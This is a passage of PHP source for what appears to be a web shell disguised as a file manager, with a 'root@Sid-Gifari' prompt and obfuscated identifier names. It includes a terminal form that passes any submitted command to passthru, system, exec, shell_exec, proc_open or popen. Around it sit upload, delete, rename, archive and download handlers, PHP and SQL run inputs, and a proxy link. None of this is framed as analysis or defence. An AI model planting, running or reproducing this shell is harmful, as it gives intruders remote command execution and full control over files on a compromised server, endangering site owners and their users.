        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
